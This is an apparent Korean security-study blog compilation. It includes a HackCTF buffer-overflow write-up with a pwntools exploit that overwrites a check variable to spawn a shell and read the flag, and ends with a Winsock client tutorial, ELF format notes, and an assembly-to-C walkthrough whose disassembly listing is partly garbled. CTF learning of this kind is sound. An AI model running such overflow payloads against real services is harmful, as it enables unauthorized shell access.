int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+4h] [ebp-34h]
  int v5; // [esp+2Ch] [ebp-Ch]

  v5 = 67305985;
  fgets(&s, 45, stdin);
  printf("\n[buf]: %s\n", &s);
  printf("[check] %p\n", v5);
  if ( v5 != 67305985 && v5 != -559038737 )
    puts("\nYou are on the right way!");
  if ( v5 == -559038737 )
  {
    puts("Yeah dude! You win!\nOpening your shell...");
    system("/bin/dash");
    puts("Shell closed! Bye.");
  }
  return 0;
}

그냥 간단히 v5를 -559038737로 바꿔주면 된다.

0x34 - 0xC = 0x28 = 40

from pwn import *

r = remote("ctf.j0n9hyun.xyz", 3000)

payload = b""
payload += b"A" * 40
payload += p64(0xFFFFFFFFDEADBEEF)

r.sendline(payload)
r.sendline("cat flag")

r.interactive()

0xFFFFFFFFDEADBEEF는 -559038737를 16진수로 바꾼것이다.

이걸로 v5가 -559038737가 되어 system("/bin/dash") 함수가 실행되면

쉘에서 명령어를 실행할 수 있다.

그래서 cat flag 로 flag를 읽어온다.

728x90

'해킹 > writeup' 카테고리의 다른 글

6. DreamHack - basic_exploitation_000  (0) 2021.07.11
5. HackCTF - Simple_Overflow_ver_2  (0) 2021.07.11
4. HackCTF - x64 Buffer Overflow  (0) 2021.06.16
3. HackCTF - Basic_BOF #2  (0) 2021.06.16
1. DreamHack - basic_exploitation_001  (0) 2021.06.16

#include <stdio.h>
#include <winsock2.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

//#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define BUFSIZE 1024

int main()
{
    /* WSAStartup 함수의 인자로 들어가는 변수입니다. */
    WSADATA wsaData;
    /* socket 함수의 반환값을 저장할 UINT_PTR 변수입니다. */
    SOCKET client;
    /* SOCKADDR_IN https://docs.microsoft.com/ko-kr/windows/win32/api/winsock/ns-winsock-sockaddr_in
     * 소켓의 주소를 담는 기본 구조체 역할을 합니다.
     * 선택한 프로토콜에 따라 구조가 달라지며, 네트워크 바이트 순서대로 표현됩니다.
     * 2바이트의 family 부분과 14바이트의 data부분으로 나눠집니다.
     */
    SOCKADDR_IN server_addr;
    /* 보낼 문자열과 받은 문자열을 저장할 변수입니다. */
    char buffer[BUFSIZE];
    int size;

    /* WSAStartup https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsastartup
     * WSACleanup 함수와 같이 사용되며 소켓 프로그램의 시작을 나타냅니다.
     * 
     * 첫번째 인자에는 winsock 버전을 넣습니다. 
     * 상위 2바이트에는 주 버전 번호, 하위 2바이트에는 부 버전 번호를 넣습니다.
     * 2.2버전을 사용할려면 0x0202 또는 MAKEWORD(2,2)를 사용하면 됩니다.
     * 
     * 두번째 인자에는 WSADATA 구조체의 포인터를 넣습니다.
     * 이 포인터는 윈도우 소켓 구현에 대한 세부정보를 받는 WSADATA 타입 구조체의 포인터입니다.
     * 
     * 성공하면 0을 반환하고, 실패하면 나열된 오류 코드중 하나를 반환합니다.
     * 오류코드를 반환하기 때문에 WSAGetLastError 함수의 호출은 필요하지 않으며, 사용하면 안됩니다.
     */
    WSAStartup(0x0202, &wsaData);

    /* socket https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-socket
     * 소켓을 만듭니다.
     * 
     * 첫번째 인자에서는 주소 계열을 지정해줍니다.
     * AF_* 상수와 PF_* 상수의 값이 동일하기 때문에 원하는 상수를 쓰면 됩니다.
     * 
     * 두번째 인자에서는 소켓의 유형을 지정해줍니다.
     * 
     * 세번째 인자에서는 소켓의 프로토콜을 지정해줍니다.
     * 값을 0으로 지정하면 프로토콜을 지정하지 않고 서버가 사용할 프로토콜을 선택합니다.
     * 
     * 오류가 발생하지 않으면 새 소켓을 참조하는 descriptor 를 반환합니다.
     * 그렇지 않으면 INVALID_SOCKET 값이 반환되고 WSAGetLastError를 호출하여 오류코드를 반환받을 수 있습니다.
     */
    client = socket(AF_INET, SOCK_STREAM, 0);
    if (client == INVALID_SOCKET) { //에러 핸들링
        printf("socket error, error code : %d", WSAGetLastError());
        system("pause");
        return 1;
    }
    printf("socket descriptor : %d\n", client);

    // server_addr 변수를 0으로 초기화 해줍니다.
    memset(&server_addr, 0, sizeof(server_addr));
    // 주소 체계를 AF_INET(IPv4)로 지정합니다.
    server_addr.sin_family = AF_INET;
    // 주소를 152.70.238.188로 지정합니다.
    server_addr.sin_addr.S_un.S_addr = inet_addr("152.70.238.188");
    /* 포트를 3000으로 지정해주는데,
     * htons 함수는 2바이트 데이터를 네트워크 바이트 정렬 방식으로 변경합니다.
     */
    server_addr.sin_port = htons(3000);

    /* connect https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-connect
     * SOCKET 변수와 주소 변수를 받아서 소켓을 연결합니다.
     * 
     * 첫번째 인자는 연결되지 않은 소켓의 descriptor을 넣습니다.
     * 두번째 인자는 SOCKADDR_IN 변수를 sockaddr 구조체의 포인터로 변경하여 넣어줍니다.
     * 세번째 인자는 sockaddr 구조체의 크기를 넣어줍니다.
     * 
     * 오류가 발생하지 않으면 0을 반환하고, 아니면 SOCKET_ERROR를 반환합니다.
     * socket 함수와 같이 WSAGetLastError 를 통해서 오류코드를 반환받을 수 있습니다.
     * 비 블로킹 소켓(비동기)을 사용하면 SOCKET_ERROR를 반환하고,
     * WSAGetLastError에서 WSAEWOULDBLOCK를 반환합니다.
     */
    int con = connect(client, (struct sockaddr*)&server_addr, sizeof(server_addr));
    if (con == SOCKET_ERROR) {
        printf("connect error, error code : %d\n", WSAGetLastError());
        system("pause");
        return 1;
    }

    // 연결이 성공됨을 출력합니다.
    printf("----------------------connect success----------------------\n\n");
    
    // buffer를 비웁니다.
    memset(buffer, 0, BUFSIZE);
    // buffer에 "10215" 문자열을 복사합니다.
    strcpy(buffer, "10215");
    // 소켓에 전송합니다.
    /* send https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-send
     * 연결된 소켓에 데이터를 전송합니다.
     * 
     * 첫번째 인자엔 연결된 소켓의 descriptor가 들어갑니다.
     * 두번째 인자엔 전송할 데이터를 포함하는 버퍼의 포인터가 들어갑니다.
     * 세번째 인자엔 버퍼의 크기가 들어갑니다.
     * 네번째 인자엔 플래그가 들어갑니다.
     * 
     * MSG_DONTROUTE, MSG_OOB 가 비트연산자를 통해 들어갑니다.(0은 지정 안함)
     * 오류가 없으면 전송된 총 바이트 수를 반환하고, 그렇지 않으면 SOCKET_ERROR 값이 반환됩니다.
     * WSAGetLastError를 통해 오류코드를 반환받을 수 있습니다.
     */
    size = send(client, buffer, BUFSIZE, 0);
    if (size == SOCKET_ERROR){
        printf("send error, error code : %d\n", WSAGetLastError());
        system("pause");
        return 1;
    }
    // 전송한 메세지를 출력합니다.
    printf("sent message: \"%s\"\n", buffer);

    // 버퍼를 0으로 비웁니다.
    memset(buffer, 0, BUFSIZE);
    /* recv https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-recv
     * 연결된 소켓에서 데이터를 수신합니다.
     * 
     * 첫번째 인자엔 연결된 소켓의 descriptor가 들어갑니다.
     * 두번째 인자엔 수신할 데이터를 받을 버퍼의 포인터가 들어갑니다.
     * 세번째 인자엔 버퍼의 크기가 들어갑니다.
     * 네번째 인자엔 플래그가 들어갑니다.
     * 
     * MSG_PEEK, MSG_OOB, MSG_WAITALL가 비트연산자를 통해 들어갑니다.(0은 지정 안함)
     * 오류가 없으면 수신된 총 바이트 수를 반환하고, 그렇지 않으면 SOCKET_ERROR 값이 반환됩니다.
     * WSAGetLastError를 통해 오류코드를 반환받을 수 있습니다.
     */
    size = recv(client, buffer, BUFSIZE, 0);
    if (size == SOCKET_ERROR){
        printf("receive error, error code : %d\n", WSAGetLastError());
        system("pause");
        return 1;
    }
    // 수신한 메세지를 출력합니다.
    printf("received message: \"%s\"\n", buffer);

    /* WSACleanup https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-wsacleanup
     * WSAStartup 함수와 같이 사용되며 소켓 프로그램의 끝을 나타냅니다.
     * 
     * 작업에 성공하면 0을 반환하고, 그렇지 않으면 SOCKET_ERROR 값을 반환합니다.
     * WSAGetLastError를 통해 오류코드를 반환받을 수 있습니다.
     */
    if (WSACleanup() == SOCKET_ERROR){
        printf("socket terminate error, error code : %d\n", WSAGetLastError());
    }

    system("pause");
}

client는 주석에서 설명을 거의 다 해놨기 때문에, server 부분만 약간 설명을 하겠습니다.

bind()

https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind

소켓에 주소를 연결합니다.

첫번째 인자에는 소켓을 받고, 두번째 인자에는 주소 구조체의 포인터, 세번째 인자는 주소 구조체의 크기를 받습니다.

listen()

https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-listen

소켓 수신을 시작합니다.

첫번째 인자에는 소켓을 받고, 두번째 인자에는 보류중인 연결의 최대 큐 길이를 받습니다.

accept()

https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-accept

대기열의 맨 앞 소켓 하나를 연결 허용합니다.

첫번째 인자에는 서버 소켓을 받고, 두번째 인자에는 클라이언트 소켓을 저장할 포인터를 받습니다. 세번째 인자는 클라이언트 소켓을 저장할 변수의 크기를 받습니다.

서버에서 listen 함수로 큐에 대기열을 받으면

accept 에서 맨 앞 하나씩 가져와서 통신합니다.

728x90

프로그램 헤더

: 프로그램 로딩에 필요한 바이너리 세그먼트를 정의합니다.

 

세그먼트

: 디스크에 저장된 실행파일이 커널에 의해 로드되는 과정에서 어떤 메모리 구조로 매핑될 것인지

 

p_type(0x00~0x04)

세그먼트 유형을 식별합니다.

 

ISA
0x00 특정 명령어 세트 없음
0x01 AT & T WE 32100
0x02 SPARC
0x03 x86
0x04 Motorola 68000 (M68k)
0x05 Motorola 88000 (M88k)
0x06 인텔 MCU
0x07 인텔 80860
0x08 MIPS
0x09 IBM_System / 370
0x0A MIPS RS3000 리틀 엔디안
0x0B-0x0D 향후 사용을 위해 예약 됨
0x0E Hewlett-Packard PA-RISC
0x0F 향후 사용을 위해 예약 됨
0x13 인텔 80960
0x14 PowerPC
0x15 PowerPC (64 비트)
0x16 S390x를 포함한 S390
0x17 IBM SPU / SPC
0x18-0x23 향후 사용을 위해 예약 됨
0x24 NEC V800
0x25 Fujitsu FR20
0x26 TRW RH-32
0x27 Motorola RCE
0x28 ARM (최대 ARMv7 / Aarch32)
0x29 디지털 알파
0x2A SuperH
0x2B SPARC 버전 9
0x2C Siemens TriCore 임베디드 프로세서
0x2D Argonaut RISC 코어
0x2E 히타치 H8 / 300
0x2F 히타치 H8 / 300H
0x30 히타치 H8S
0x31 히타치 H8 / 500
0x32 IA-64
0x33 스탠포드 MIPS-X
0x34 Motorola ColdFire
0x35 Motorola M68HC12
0x36 Fujitsu MMA 멀티미디어 가속기
0x37 지멘스 PCP
0x38 소니 nCPU 임베디드 RISC 프로세서
0x39 Denso NDR1 마이크로 프로세서
0x3A Motorola Star * Core 프로세서
0x3B Toyota ME16 프로세서
0x3C STMicroelectronics ST100 프로세서
0x3D Advanced Logic Corp. TinyJ 임베디드 프로세서 제품군
0x3E AMD x86-64
0x8C TMS320C6000 제품군
0xB7 ARM 64 비트 (ARMv8 / Aarch64)
0xF3 RISC-V
0xF7 버클리 패킷 필터
0x101 WDC 65C816

p_flags(0x04~0x08)

세그먼트 종속 플래그 (64 비트 구조의 위치).

p_offset (0x04~0x08|0x08~0x10)

파일 이미지에서 세그먼트의 오프셋.

 

p_vaddr (0x08~0C|0x10~0x18)

메모리에있는 세그먼트의 가상 주소입니다.

 

p_paddr (0x0C~0x10|0x18~0x20)

물리적 주소가 관련된 시스템에서 세그먼트의 물리적 주소 용으로 예약되어 있습니다.

 

p_filesz (0x10~0x14|0x20~0x28)

파일 이미지에있는 세그먼트의 크기 (바이트)입니다. 0 일 수 있습니다.

 

p_memsz (0x14~0x18|0x28~0x30)

메모리에있는 세그먼트의 크기 (바이트)입니다. 0 일 수도 있습니다.

 

p_flags (0x18~0x1C)

세그먼트 종속 플래그 (32 비트 구조의 위치).

 

p_align (0x1C~0x20|0x30~0x38)

메모리 및 파일에서 세그먼트가 정렬되는 값

 

헤더의 끝(0x20|0x38)

 

PLT ( Procedure Linkage Table )

실제 호출 코드를 담고 있는 테이블로서, 해당 내용을 참조하여 "_dl_runtime_resolve"가 수행되고, 실제 시스템

라이브러리 호출이 이루어지게 된다.

 => 쉽게 말하면 외부 라이브러리를 "연결"해주는 함수

 => 실제 바이너리에서도  사용하고자 하는 함수/라이브러리 주소 대신 PLT를 호출

 

 

GOT ( Global Offset Table )

PLT가 참조하는 테이블로써 프로시져들의 주소가 있다. PLT가 어떤 외부 프로시져를 호출할 때 이 GOT를

참조해서 해당 주소로 분기된다.

 => PLT 함수들은 GOT 라는 테이블의 주소로 분기한다.

 => GOT는 외부 라이브러리의 함수/변수의 주소를 저장한다.

 

섹션헤더란?

: 각 섹션의 속성을 정의한 것

 

Offset Size (bytes) Field Purpose
32-bit 64-bit 32-bit 64-bit
0x00 4 sh_name An offset to a string in the .shstrtab section that represents the name of this section.
0x04 4 sh_type Identifies the type of this header.
Value Name Meaning
0x0 SHT_NULL Section header table entry unused
0x1 SHT_PROGBITS Program data
0x2 SHT_SYMTAB Symbol table
0x3 SHT_STRTAB String table
0x4 SHT_RELA Relocation entries with addends
0x5 SHT_HASH Symbol hash table
0x6 SHT_DYNAMIC Dynamic linking information
0x7 SHT_NOTE Notes
0x8 SHT_NOBITS Program space with no data (bss)
0x9 SHT_REL Relocation entries, no addends
0x0A SHT_SHLIB Reserved
0x0B SHT_DYNSYM Dynamic linker symbol table
0x0E SHT_INIT_ARRAY Array of constructors
0x0F SHT_FINI_ARRAY Array of destructors
0x10 SHT_PREINIT_ARRAY Array of pre-constructors
0x11 SHT_GROUP Section group
0x12 SHT_SYMTAB_SHNDX Extended section indices
0x13 SHT_NUM Number of defined types.
0x60000000 SHT_LOOS Start OS-specific.
... ... ...
0x08 4 8 sh_flags Identifies the attributes of the section.
Value Name Meaning
0x1 SHF_WRITE Writable
0x2 SHF_ALLOC Occupies memory during execution
0x4 SHF_EXECINSTR Executable
0x10 SHF_MERGE Might be merged
0x20 SHF_STRINGS Contains null-terminated strings
0x40 SHF_INFO_LINK 'sh_info' contains SHT index
0x80 SHF_LINK_ORDER Preserve order after combining
0x100 SHF_OS_NONCONFORMING Non-standard OS specific handling required
0x200 SHF_GROUP Section is member of a group
0x400 SHF_TLS Section hold thread-local data
0x0ff00000 SHF_MASKOS OS-specific
0xf0000000 SHF_MASKPROC Processor-specific
0x4000000 SHF_ORDERED Special ordering requirement (Solaris)
0x8000000 SHF_EXCLUDE Section is excluded unless referenced or allocated (Solaris)
0x0C 0x10 4 8 sh_addr Virtual address of the section in memory, for sections that are loaded.
0x10 0x18 4 8 sh_offset Offset of the section in the file image.
0x14 0x20 4 8 sh_size Size in bytes of the section in the file image. May be 0.
0x18 0x28 4 sh_link Contains the section index of an associated section. This field is used for several purposes, depending on the type of section.
0x1C 0x2C 4 sh_info Contains extra information about the section. This field is used for several purposes, depending on the type of section.
0x20 0x30 4 8 sh_addralign Contains the required alignment of the section. This field must be a power of two.
0x24 0x38 4 8 sh_entsize Contains the size, in bytes, of each entry, for sections that contain fixed-size entries. Otherwise, this field contains zero.
0x28 0x40 End of Section Header (size)
728x90

ELF(Executeable and Linkable Format)

리눅스/유닉스 계열에서의 실행파일의 포맷입니다.

 

파일 형식

1) ET_NONE (ELF type none) (0x 0000)

: 알 수 없는 형식 -> 아직 정의되지 않았거나 알 수 없다는 의미

 

2) ET_REL (ELF type relocatable) (0x 0001) - 링킹 가능한 포맷

: 재배열이 가능한 파일 형식 -> 아직 실행파일에 링킹되지 않은 상태

  (*.o 파일로 컴파일만 진행된 상태)

 - relocatable symbol들을 symbol resolving reference 해야하는 바이너리

 

3) ET_EXEC (ELF type executable) (0x0002) - 실행 가능한 포맷

: 실행 파일 형식(= 프로그램) -> 프로세스의 시작 지점인 엔트리 포인트가 존재

 - relocatable symbol들을 모두 symbol resolving reference 해서 실행 가능한 바이너리

 

4) ET_DYN (ELF type dynamic) (0x0003) - 실행 가능하면서 링킹 가능한 포맷

: 공유 오브젝트 파일 형식 -> 동적 링킹이 가능한 오브젝트 파일 (= 공유 라이브러리)

 (런타임 중에 프로그램의 프로세스 이미지로 로드되고 링크 됨)

 - relocatable symbol들을 symbol resolving reference 해서 실행 가능하지만, 공유 혹은 동적 라이브러리를 실행 시에 혹은 런타임에 링킹시켜야 하는 바이너리

 

5) ET_CORE (ELF type core) (0x0004)

: 코어 파일 형식 -> 프로세스 이미지의 전체 덤프

  주로 프로그램이 비정상 종료되거나 SIGSEGV 시그널(세그멘테이션 폴트)로 인해 프로세스가 종료된 경우 생성

  GDB로 코어파일을 읽어 분석해 비정상 종료된 시점의 원인 분석이 가능

 

ELF는 Linking View 와 Execution View 라는 두가지 형태가 있습니다.

Linking View가 relocatable file의 형식이다.

Link가 끝난 후에 완전히 실행 가능한 형태가 된 ELF 형식을 Execution View라고 한다.

매직넘버(0x00~0x4)

0x7F, 'E', 'L', 'F' (아스키 코드)

 

매직넘버는 파일 형식을 식별하는데 사용되는 값입니다.

예로 PNG의 경우 89 50 4E 47(.PNG) 을 매직넘버로 사용합니다.

 

https://asecuritysite.com/forensics/magic

매직넘버는 이러한 사이트에서 확인해볼 수 있습니다.

 

32, 64비트 구분(0x04~0x05)

값이 1이면 32비트, 2이면 64비트입니다.

 

엔디안 구분(0x05~0x06)

값이 1이면 리틀엔디안, 2이면 빅엔디안입니다.

 

ELF 버전(0x06~0x07)

ELF 파일 버전인데 대부분 1입니다.

 

OS ABI 종류(0x07~0x08)

Value ABI
0x00 System V
0x01 HP-UX
0x02 NetBSD
0x03 Linux
0x04 GNU Hurd
0x06 Solaris
0x07 AIX
0x08 IRIX
0x09 FreeBSD
0x0A Tru64
0x0B Novell Modesto
0x0C OpenBSD
0x0D OpenVMS
0x0E NonStop Kernel
0x0F AROS
0x10 Fenix OS
0x11 CloudABI
0x12 Stratus Technologies OpenVOS

OS ABI 버전(0x08~0x09)

ABI 버전을 추가로 지정합니다.

해석은 ABI에 따라 달라집니다.

 

PAD(0x09~0x10)[7byte]

사용되지 않습니다. 0으로 채워져야 합니다.

 

파일 형식(0x10~0x12)

 

Value Type
0x00 ET_NONE
0x01 ET_REL
0x02 ET_EXEC
0x03 ET_DYN
0x04 ET_CORE
0xFE00 ET_LOOS
0xFEFF ET_HIOS
0xFF00 ET_LOPROC
0xFFFF ET_HIPROC

위에 서술한 파일 형식입니다.

 

ISA(0x12~0x14)

대상 ISA를 지정합니다.

 

ELF 버전(0x14~0x18)

위에 ELF 버전과 같습니다.

 

진입점(0x18 ~ 0x1C or 0x20)

프로그램을 시작하는 진입점의 메모리 주소입니다.

위에 써진 비트에 따라서 4바이트 또는 8바이트의 길이를 갖습니다.

 

e_phoff (0x1C~0x20|0x20~0x28)

프로그램 헤더 테이블의 시작을 가리 킵니다

 

e_shoff (0x20~0x24|0x28~0x30)

섹션 헤더 테이블의 시작을 가리 킵니다

 

e_flags (0x24~0x28|0x30~0x34)

대상 아키텍처에 따라 필드의 해석이 다릅니다.

 

e_ehsize (0x28~0x2A|0x34~0x36)

이 헤더의 크기입니다. (일반적으로 64 비트의 경우 64 바이트, 32 비트 형식의 경우 52 바이트)

 

e_phentsize (0x2A~0x2C|0x36~0x38)

프로그램 헤더 테이블 항목의 크기입니다.

 

e_phnum (0x2C~0x2E|0x38~0x3A)

프로그램 헤더 테이블의 항목 수입니다.

 

e_shentsize(0x2E~0x30|0x3A~0x3C)

섹션 헤더 테이블 항목의 크기입니다.

e_shnum(0x30~0x32|0x3C~0x3E)

섹션 헤더 테이블의 항목 수입니다.

e_shstrndx(0x32~0x34|0x3E~0x40)

섹션 이름을 포함하는 섹션 헤더 테이블 항목의 색인입니다..

헤더의 끝(0x34|0x40)

728x90

더보기

00000000000011a9 <test>:
    11a9:       f3 0f 1e fa             endbr64
    11ad:       55                      push   %rbp
    11ae:       48 89 e5                mov    %rsp,%rbp
    11b1:       89 7d fc                mov    %edi,-0x4(%rbp)
    11b4:       83 7d fc 64             cmpl   0x64,0x4(0x1,%eax
    11bf:       eb 05                   jmp    11c6 <test+0x1d>
    11c1:       b8 00 00 00 00          mov    0x0,0x20,%rsp
    11d4:       89 7d fc                mov    %edi,-0x4(%rbp)
    11d7:       89 75 f8                mov    %esi,-0x8(%rbp)
    11da:       89 55 f4                mov    %edx,-0xc(%rbp)
    11dd:       89 4d f0                mov    %ecx,-0x10(%rbp)
    11e0:       44 89 45 ec             mov    %r8d,-0x14(%rbp)
    11e4:       48 8d 3d 19 0e 00 00    lea    0xe19(%rip),%rdi        # 2004 <_IO_stdin_used+0x4>
    11eb:       e8 90 fe ff ff          callq  1080 <puts@plt>
    11f0:       90                      nop
    11f1:       c9                      leaveq
    11f2:       c3                      retq

00000000000011f3 <lose>:
    11f3:       f3 0f 1e fa             endbr64
    11f7:       55                      push   %rbp
    11f8:       48 89 e5                mov    %rsp,%rbp
    11fb:       48 8d 3d 07 0e 00 00    lea    0xe07(%rip),%rdi        # 2009 <_IO_stdin_used+0x9>
    1202:       e8 79 fe ff ff          callq  1080 <puts@plt>
    1207:       90                      nop
    1208:       5d                      pop    %rbp
    1209:       c3                      retq

000000000000120a <main>:
    120a:       f3 0f 1e fa             endbr64
    120e:       55                      push   %rbp
    120f:       48 89 e5                mov    %rsp,%rbp
    1212:       48 83 ec 10             sub    0x10,0x0,%eax
    1231:       e8 6a fe ff ff          callq  10a0 <printf@plt>
    1236:       48 8d 45 f0             lea    -0x10(%rbp),%rax
    123a:       48 89 c6                mov    %rax,%rsi
    123d:       48 8d 3d d6 0d 00 00    lea    0xdd6(%rip),%rdi        # 201a <_IO_stdin_used+0x1a>
    1244:       b8 00 00 00 00          mov    0x0,0x1,-0xc(%rbp)
    125f:       75 21                   jne    1282 <main+0x78>
    1261:       41 b8 05 00 00 00       mov    0x5,0x4,%ecx
    126c:       ba 03 00 00 00          mov    0x3,0x2,%esi
    1276:       bf 01 00 00 00          mov    0x1,0x0,-0xc(%rbp)
    1286:       75 0a                   jne    1292 <main+0x88>
    1288:       b8 00 00 00 00          mov    0x0,0x0,%eax
    1297:       48 8b 55 f8             mov    -0x8(%rbp),%rdx
    129b:       64 48 33 14 25 28 00    xor    %fs:0x28,%rdx
    12a2:       00 00
    12a4:       74 05                   je     12ab <main+0xa1>
    12a6:       e8 e5 fd ff ff          callq  1090 <__stack_chk_fail@plt>
    12ab:       c9                      leaveq
    12ac:       c3                      retq
    12ad:       0f 1f 00                nopl   (%rax)

push rbp (main+4)

mov rbp, rsp (main+5)

스택 프레임 생성

 

sub rsp, 0x10 (main+8)

rsp를 0x10만큼 빼서 스택 프레임의 크기를 늘림

 

mov rax, qword ptr fs:[0x28] (main+12)

보호됨

 

mov qword ptr [rbp - 8], rax (main+21)

스택의 rbp - 8 부분에 rax 저장

 

xor eax, eax (main+25)

eax의 값을 0으로 만든다.

mov eax, 0보다 xor eax, eaxsub eax, eax가 더 작기 때문에 쓰는것 같다.

 

lea rdi, [rip + 0xde1] (main+27)

rdi에 [rip + 0xde1]의 주소를 넣는데 이 위치엔 "Enter Num : " 문자열이 위치해 있다.

mov eax, 0 (main+34)

함수를 호출하기 전에 반환값을 0으로 초기화 해 주는거 같다.

 

call printf@plt (main+39)

printf 함수를 호출한다.



lea rax, [rbp - 0x10] (main+44)

mov rsi, rax (main+48)

rsi: 시스템 V AMD64 ABI 기준 함수의 2번째 인자

 

lea rdi, [rip + 0xdd6]

rdi: 시스템 V AMD64 ABI 기준 함수의 1번째 인자

mov eax, 0

반환값 0으로 초기화

 

call __isoc99_scanf@plt

scanf 함수 호출, 일단 5984 넣어보겠다.

 

이걸 C 코드로 바꿔서 생각을 해 보면

int x;
scanf("%d", &x);

가 되겠다.

int x가 위치한 스택에서의 위치는 rbp - 0x10이 되겠다.


mov eax, dword ptr [rbp - 0x10]

rbp - 0x10은 아까 위에 c 코드로 보면 int x가 위치한 주소고, eax는 그냥 레지스터다.

eax에 scanf에서 입력받은 값을 저장한다.

 

mov edi, eax

edi가 첫번째 인자이고 아래에 함수가 오므로 아래 함수의 첫번째 인자에 eax의 값을 넣는다.

 

call test

test 함수를 호출한다. si 명령어를 통해서 내부로 들어가보겠다.


push rbp (test+4)

mov rbp, rsp (test+5)

스택 프레임을 생성해주는 기본적인 코드다. (함수 프롤로그)

 

mov dword ptr [rbp - 4], edi (test+8)

첫번째 인자를 스택에 저장한다. (레지스터는 다른곳에서도 많이 써야 하기 때문에)

 

cmp dword ptr [rbp - 4], 0x64 (test+11)

jne test+24 (test+15)

분기문이 나왔다.

cmp dword ptr [rbp - 4], 0x64

rbp - 4와 0x64를 비교한다.

 

jne test+24

rbp - 4가 0x64가 아니면 test+24로 점프한다.

일단 인자로 들어온 값(rbp - 4)가 0x64가 아니라고 가정하고 생각을 해보겠다.

jne test+24 (test+15)

mov eax, 0 (test+24)

pop rbp (test+29)

ret (test+30)

 

mov eax, 0 을 해주고 바로 함수 에필로그가 실행된다.

 

pop rbp

ret

(함수 에필로그)

 

한번 c 코드로 만들어보자

int test(int x){
    if (x != 0x64){
    	return 0;	
    }
    ...
}

이렇게 될 것이다.

 

그러면 만약 인자로 들어온 값이 0x64라고 생각을 하고 코드를 해석해보자

cmp dword ptr [rbp - 4], 0x64 (test+11)

jne test+24 (test+15) //점프 안함

 

mov eax, 1 (test+17)

jmp test+29 (test+22)

 

pop rbp (test+29)

ret (test+30)


mov eax, 1은 eax를 1로 설정해준다. (eax는 반환값을 저장하는 용도로도 사용되는 레지스터이다.)

jmp test+29는 test+29줄로 무조건 점프한다.

 

test+29로 점프했으니

pop rbp 부분부터 실행한다.

pop rbp

ret

함수의 에필로그이다.

C 코드로 한번 만들어보자

 

int test(int x){
    if (x != 0x64){
    	...
    }
    else{
    	return 1;
    }
}

이렇게 될 것이다.

 

한번 두 코드를 합쳐보면

int test(int x){
    if (x != 0x64){
    	return 0;
    }
    else{
    	return 1;
    }
}

이렇게 될 것이다.

그러면 test 함수는 분석을 다 했다.


위에서 함수 분석을 한번 해봤으니까 두번째부턴 간단히 하고 넘어가겠다.

 

mov dword ptr [rbp - 0xc], eax (main+78)

eax(반환값)을 rbp - 0xc 위치에 저장한다.

 

cmp dword ptr [rbp - 0xc], 1 (main+81)

jne main+120 (main+85)

[rbp - 0xc]와 1을 비교해서

[rbp - 0xc]가 1이 아니면 main+120으로 점프한다.


rbp - 0xc가 1일때

main+120로 넘어가지 않고 계속 진행한다

mov r8d, 5

mov ecx, 4

mov edx, 3

mov esi, 2

mov edi, 1

인자 순서가

edi -> esi -> edx -> ecx -> r8 -> r9 -> 스택

순이므로

아래에 오는 함수의 인자에

(1, 2, 3, 4, 5) 순서대로 넣는다.

 

call win

win 함수를 호출한다.

push rbp

mov rbp, rsp

함수 프롤로그

 

sub rsp, 0x20

스택 프레임에 0x20만큼 공간 생성

 

mov dword ptr [rbp - 4], edi

mov dword ptr [rbp - 8], esi

mov dword ptr [rbp - 0xc], edx

mov dword ptr [rbp - 0x10], ecx

mov dword ptr [rbp - 0x14], r8d

함수의 인자들을 차례대로 스택에 넣어준다.

 

lea rdi, [rip + 0xe19]

rip + 0xe19의 주소를 계산해서 rdi에 넣어주는데, 이 값은 "good" 이다.

그리고 rdi는 함수의 첫번째 인자에 사용되는 레지스터이다.

call puts@plt

puts 함수를 실행한다. puts 함수가 뭘 하는진 알거라고 생각한다.

 

nop

파이프라인에서 한 사이클 쉬라는 뜻이다.

 

leave

현재까지 썻던 메모리 스택을 깔끔히 비우고,
자신을 호출했던 메모리의 베이스 주소를 ebp에 다시 채운다.

 

ret

함수 종료

 

eax를 설정하지 않는걸 보아 아마도 이 함수의 반환형은 void일 것이다.

jmp main+136 (main+118)

main+136 위치로 무조건 점프한다.

rbp - 0xc가 1이 아닐때

main+120으로 점프해 main+120부터 실행한다.

cmp dword ptr [rbp - 0xc], 0 (main+120)

jne main+136 (main+124)

 

rbp - 0xc가 0이 아니면 136번줄로 이동한다.

test 함수에서는 0과 1만 반환하기 때문에 메모리에 오류가 생긴게 아닌 이상 이 분기를 탈 일은 없다.

 

mov eax, 0

함수의 반환값을 0으로 초기화 한다. 

 

call lose

lose 함수를 호출한다.

push rbp

mov rbp rsp

함수 프롤로그다.

 

lea rdi, [rip + 0xe07]

rdi(첫번째 인자) 에 [rip + 0xe07]의 주소를 넣는다.

nop

파이프라인에서 한 사이클 쉰다.

 

pop rbp

ret

함수 에필로그

 

eax를 설정하지 않는걸 보아 아마도 이 함수의 반환형은 void일 것이다.

mov eax, 0

함수의 반환값을 0으로 설정한다.

 

mov rdx, qword ptr [rbp - 8]

rbp - 8의 있는 값을 rdx로 옮긴다.

정확히 무슨 값인진 잘 모르겠지만 아마도 canary 값으로 보인다.

(스택 오버플로우가 일어났는지 검증하기 위한 값)

아래 __stack_chk_fail 함수에 필요한 인자인것 같다.

 

xor rdx, qword ptr fs:[0x28]

보호된 코드

 

je main+161

main+161로 점프한다.

 

call __stack_chk_fail@plt

스택 오버플로우가 났을시에 실행되는 함수인것 같다.

 

leave

ret

함수 에필로그

 

이 전체 코드를 하나의 c 코드로 바꿔보자면

#include <stdio.h>

int test(int x){
    if (x != 0x64){
    	return 0;
    }
    else{
    	return 1;
    }
}

void win(int a, int b, int c, int d, int e){
    puts("good");
}

void lose(){
    puts("bad");
}

int main(){
    int x;
    printf("Enter Num : ");
    scanf("%d", &x);
    int c = test(x);
    if (c == 1){
    	win(1, 2, 3, 4, 5);
    }
    else if (c == 0){
    	lose();
    }
    return 0;
}

이렇게 될 것 이다.

 

